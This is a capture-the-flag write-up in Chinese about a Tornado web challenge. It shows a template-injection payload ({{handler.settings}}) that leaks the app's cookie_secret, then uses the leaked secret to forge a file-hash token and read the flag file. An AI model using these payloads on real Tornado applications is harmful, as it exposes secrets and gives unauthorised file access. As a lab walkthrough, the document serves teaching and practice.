01、题目简介
02、解题步骤
启动并访问靶机

先访问一下,看一下这三个文件
flag.txt: flag in /fllllllllllllagwelcome.txt: renderhints.txt: md5(cookie_secret+md5(filename))从这三个文件里明确了,flag在fllllllllllllag中,结合题目和welcome.txt这里利用了tornado的render参数来渲染模板,hints.txt中表示服务器需要验证一个 token
通过url,我们可以验证一下fllllllllllllag是否能直接读取
/file?filename=/fllllllllllllag&filehash=c2e5b7f0a830ed003e2258f0b8a68a08发现报错了

那接下来就是搞定filehash值,这时候就需要md5(cookie_secret+md5(filename)),结合题目tornado,tornado是python的一个框架
Tornado 是一个 Python 的异步 Web 框架,自带了一个简单但功能齐全的模板引擎。当开发者使用 render 方法将用户可控的数据直接传递给模板时,如果没有进行充分的过滤或转义,就可能导致服务器端模板注入(SSTI)。攻击者可以插入 Tornado 模板表达式,进而执行任意 Python 代码或读取敏感信息。
这里使用的是SSTI模板注入,这里进行尝试,看看是否能使用模板注入
/error?msg={{2*2}}
因为框架为tornado,存在多个handler,且handler为RequestHandler的子类,RequestHandler.settings指向self.application.settings,所以构造payload直接使得handler指向settings:
/error?msg={{handler.settings}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e1f0f3b4-9246-4731-b8c5-7f19e029e370'}获得cookie_secret,然后进行md5(cookie_secret+md5(filename))

cookie_secret+md5(filename)

然后进行payload构造就行了
/file?filename=/fllllllllllllag&filehash=4c9421c2e76cd6022a28bbe4c3e3e8b0